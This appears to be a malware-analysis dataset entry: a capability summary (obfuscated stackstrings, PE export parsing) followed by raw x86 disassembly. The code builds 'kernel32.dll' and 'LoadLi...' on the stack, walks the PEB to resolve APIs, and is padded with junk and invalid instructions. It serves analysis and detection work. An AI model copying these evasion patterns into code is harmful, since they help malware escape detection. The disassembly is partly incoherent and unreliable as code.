Function at 0x40dcc7
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add byte [ecx + 0xf88ee8], al
add byte [ecx + 0x1517be8], al
add byte [eax + 0x57], bl
push edx
add esp, 4
add edi, 0xf7aa
pop edi
push eax
push ebx
add esp, 4
sub eax, 0x7785
pop eax
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x40dad3
movzx ecx, word [ebp - 0x27c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1a18], ecx
jmp 0x40db2d
movzx eax, word [ebp - 0x27c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x40d9fb
movzx edx, word [ebp - 0x27c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x40d9fb
movzx ecx, word [ebp - 0x27c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x40db17
mov dword [ebp - 0x1a14], 0xffffffff
jmp 0x40db21
mov dword [ebp - 0x1a14], 1
mov eax, dword [ebp - 0x1a14]
mov dword [ebp - 0x1a18], eax
cmp dword [ebp - 0x1a18], 0
jne 0x40db76
push esi
sub esi, 0x4281
xor esi, 0x12b0a
pop esi
push eax
jmp 0x40db4b
and eax, 0x1a64
or eax, 0xbc7
pop eax
push esi
xor esi, 0x146d2
pop esi
push ecx
or ecx, 0xce86
pop ecx
mov ecx, dword [ebp - 0x5f8]
mov dword [ebp - 0x3b0], ecx
jmp 0x40dbde
push edx
push ebx
add esp, 4
jmp 0x40db83
pop edx
push ebx
push edi
add esp, 4
add ebx, 0x8dba
sub ebx, 0xe211
pop ebx
push ebx
add byte [ecx + 0xe211eb], al
add byte [ebx + 0x53], bl
push ecx
add esp, 4
and ebx, 0x15dc0
add ebx, 0x11eaa
pop ebx
mov edx, dword [ebp - 0x5f8]
mov eax, dword [edx]
mov dword [ebp - 0x5f8], eax
mov ecx, dword [ebp - 0x5f8]
cmp ecx, dword [ebp - 0xf2c]
je 0x40dbd4
mov edx, dword [ebp - 0x5f8]
cmp dword [edx + 0x30], 0
jne 0x40d99f
mov dword [ebp - 0x3b0], 0
push esi
and esi, 0x9372
or esi, 0x144b9
and esi, 0x6d84
and esi, 0x23a5
pop esi
push ebx
call 0x40dc06
add byte [edi + 0x3e], al
xor ecx, dword [ebp + 0x39]
inc edx
xor al, byte [ebx - 0x147efb3c]
jae 0x40db8e
add byte [eax], al
pop ebx
cmp dword [ebp - 0x3b0], 0
jne 0x40e515
mov eax, 0x6b
mov word [ebp - 0x1c00], ax
mov ecx, 0x65
mov word [ebp - 0x1bfe], cx
mov edx, 0x72
mov word [ebp - 0x1bfc], dx
mov eax, 0x6e
mov word [ebp - 0x1bfa], ax
mov ecx, 0x65
add byte [eax], al
mov word [ebp - 0x1bf8], cx
mov edx, 0x6c
mov word [ebp - 0x1bf6], dx
mov eax, 0x33
mov word [ebp - 0x1bf4], ax
mov ecx, 0x32
mov word [ebp - 0x1bf2], cx
mov edx, 0x2e
mov word [ebp - 0x1bf0], dx
mov eax, 0x64
mov word [ebp - 0x1bee], ax
mov ecx, 0x6c
mov word [ebp - 0x1bec], cx
mov edx, 0x6c
mov word [ebp - 0x1bea], dx
xor eax, eax
mov word [ebp - 0x1be8], ax
push eax
call 0x40dcc7
add byte [ebp + eax*2 + 0x3d], al
push eax
xor al, 0x35
cmp dword [eax], edi
inc ecx
add esp, 4
jmp 0x40dcd3
or eax, 0xf6d6
pop eax
push ecx
add ecx, 0x7634
xor ecx, 0x9808
pop ecx
mov byte [ebp - 0xb3c], 0x4c
mov byte [ebp - 0xb3b], 0x6f
mov byte [ebp - 0xb3a], 0x61
mov byte [ebp - 0xb39], 0x64
mov byte [ebp - 0xb38], 0x4c
mov byte [ebp - 0xb37], 0x69
jmp [ecx - 0x3a]
test edx, ecx
hlt
invalid
jmp dword [edx - 0x3a]
test ebx, ecx
hlt
invalid
push dword [edx - 0x3a]
test esp, ecx
hlt
invalid
jmp dword [ecx - 0x3a]
test ebp, ecx
hlt
invalid
push dword [edx - 0x3a]
test esi, ecx
hlt
invalid
invalid
jns 0x40dcfc
test edi, ecx
hlt
invalid
call dword [edi - 0x3a]
test eax, edx
hlt
invalid
inc dword [eax]
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x2440], ecx
mov edx, dword [ebp - 0x2440]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x2444], eax
mov ecx, dword [ebp - 0x2444]
lea edi, [ebx + ebx*8 - 0x72760001]
in al, 0xe5
invalid
call dword [edx - 0x15]
invalid
and edx, 0xa7ab
add edx, 0x30e3
call 0x40dd8d
add byte [edi + 0x3e], cl
dec edi
xor eax, 0x38474c3d
xor al, byte [ebx + 0x535a04c4]
push ecx
add esp, 4
sub ebx, 0xb30f
pop ebx
cmp dword [ebp - 0x1a1c], 0
jne 0x40ddb5
mov dword [ebp - 0x8d4], 0
jmp 0x40e05c
mov edx, dword [ebp - 0x1a1c]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xf38], ecx
push ecx
push eax
add esp, 4
xor ecx, 0x8463
pop ecx
push eax
sub eax, 0xe2
sub eax, 0x114f6
and eax, 0x2460
pop eax
push esi
push eax
add esp, 4
sub esi, 0x7dac
jmp 0x40ddf8
pop esi
cmp dword [ebp - 0xf38], 0
jne 0x40de11
mov dword [ebp - 0x8d4], 0
jmp 0x40e05c
mov edx, dword [ebp - 0xf38]
mov dword [ebp - 0x5fc], edx
push esi
push esi
add esp, 4
call 0x40de32
add byte [esi + 0x47], cl
xor esi, dword [0x41475042]
dec ebp
dec ecx
add esp, 4
sub esi, 0xfff9
call 0x40de4b
add byte [ebx + 0x32], cl
cmp dword [0x3b4f503a], esi
dec ebp
inc edx
add esp, 4
pop esi
lea eax, [ebp - 0x1c00]
mov dword [ebp - 0xf34], eax
mov ecx, dword [ebp - 0x5fc]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xf30], edx
xor eax, eax
mov word [ebp - 0x280], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
push edx
add esp, 4
add esi, 0x12aa
add esi, 0xa8d3
add esi, 0x2140
sub esi, 0x129a4
pop esi
push ebx
and ebx, 0x6c
sub ebx, 0xa73b
and ebx, 0x13f31
pop ebx
mov edx, dword [ebp - 0xf30]
mov ax, word [edx]
mov word [ebp - 0x137a], ax
mov ecx, dword [ebp - 0xf30]
add ecx, 2
mov dword [ebp - 0xf30], ecx
mov dx, word [ebp - 0x137a]
mov word [ebp - 0x280], dx
mov eax, dword [ebp - 0xf34]
mov cx, word [eax]
mov word [ebp - 0x137c], cx
mov edx, dword [ebp - 0xf34]
add edx, 2
mov dword [ebp - 0xf34], edx
mov ax, word [ebp - 0x137c]
mov word [ebp - 0x3c], ax
push edi
or edi, 0x11152
pop edi
push eax
or eax, 0x8030
add eax, 0xfccf
pop eax
push eax
push ecx
add esp, 4
add eax, 0x7b30
call 0x40df30
add byte [0x3d324e4c], dh
cmp dword [ebx + eax*4], esi
les eax, [eax + ebx*2]
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x40df51
movzx edx, word [ebp - 0x280]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1a24], edx
jmp 0x40dfab
movzx ecx, word [ebp - 0x280]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x40de79
movzx eax, word [ebp - 0x280]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x40de79
movzx edx, word [ebp - 0x280]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x40df95
mov dword [ebp - 0x1a20], 0xffffffff
jmp 0x40df9f
mov dword [ebp - 0x1a20], 1
mov ecx, dword [ebp - 0x1a20]
mov dword [ebp - 0x1a24], ecx
cmp dword [ebp - 0x1a24], 0
jne 0x40dff4
push ebx
call 0x40dfc2
add byte [esi + 0x4e], cl
inc ebx
inc esp
xor edi, dword [ecx]
dec ebp
add esp, 4
sub ebx, 0x16e4f
pop ebx
push edx
and edx, 0x7b80
pop edx
push edx
push eax
add esp, 4
add edx, 0xc4b2
or edx, 0x17e39
pop edx
mov edx, dword [ebp - 0x5fc]
mov dword [ebp - 0x8d4], edx
jmp 0x40e05c
push eax
push ebx
add esp, 4
sub eax, 0x12ca4
pop eax
push edx
add edx, 0xeca9
add edx, 0x17b93
add edx, 0x12af5
pop edx
push edi
push ebx
add esp, 4
sub edi, 0xf731
sub edi, 0x5d9
pop edi
mov eax, dword [ebp - 0x5fc]
mov ecx, dword [eax]
mov dword [ebp - 0x5fc], ecx
mov edx, dword [ebp - 0x5fc]
cmp edx, dword [ebp - 0xf38]
je 0x40e052
mov eax, dword [ebp - 0x5fc]
cmp dword [eax + 0x30], 0
jne 0x40de1d
mov dword [ebp - 0x8d4], 0
push esi
call 0x40e06c
add byte [eax], bh
xor al, 0x49
inc ebx
dec ebp
dec edx
inc esp
aaa
add esp, 4
and esi, 0x3c2d
or esi, 0x1550f
pop esi
push edi
push ecx
add esp, 4
jmp 0x40e087
xor edi, 0xe4eb
pop edi
cmp dword [ebp - 0x8d4], 0
jne 0x40e0d8
push esi
or esi, 0x15a62
pop esi
push ecx
push ecx
add esp, 4
xor ecx, 0x24ed
jmp 0x40e0b1
add ecx, 0xc000
pop ecx
push edi
or edi, 0x115a2
pop edi
push ebx
jmp 0x40e0c8
pop ebx
mov dword [ebp - 0xc70], 0
jmp 0x40ec00
push ebx
push esi
add esp, 4
or ebx, 0x10c3
sub ebx, 0x16848
and ebx, 0x9d31
and ebx, 0xfcd
pop ebx
push esi
add esi, 0x10b74
add esi, 0x14ad7
and esi, 0x168ee
pop esi
mov ecx, dword [ebp - 0x8d4]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3ec], edx
mov dword [ebp - 0x8e4], 0
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x1a28], eax
cmp dword [ebp - 0x1a28], 0
mov ebp, 0xffffe5d8
add byte [ebp + 0x11], dh
mov edx, dword [ebp - 0x1a28]
mov eax, dword [ebp - 0x3ec]
test dword [esp + edi*8], edx
invalid
inc dword [ebx]
inc edx
cmp al, 0x89
test esp, edx
in eax, 0xff
push dword [ebp + 0x11]
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1a2c]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1a30], edx
cmp dword [ebp - 0x1a30], 0
jne 0x40e1a3
mov eax, dword [ebp - 0x8e4]
mov dword [ebp - 0x4b0], eax
jmp 0x40e43a
mov ecx, dword [ebp - 0x3ec]
add ecx, dword [ebp - 0x1a30]
mov dword [ebp - 0x8d8], ecx
jne 0x40e1c8
mov edx, dword [ebp - 0x8e4]
mov dword [ebp - 0x4b0], edx
jmp 0x40e43a
mov eax, dword [ebp - 0x8d8]
mov ecx, dword [ebp - 0x3ec]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x2448], ecx
mov edx, dword [ebp - 0x8d8]
mov eax, dword [ebp - 0x3ec]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x244c], eax
mov ecx, dword [ebp - 0x8d8]
mov edx, dword [ebp - 0x3ec]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x2450], edx
mov dword [ebp - 0x8dc], 0
jmp 0x40e222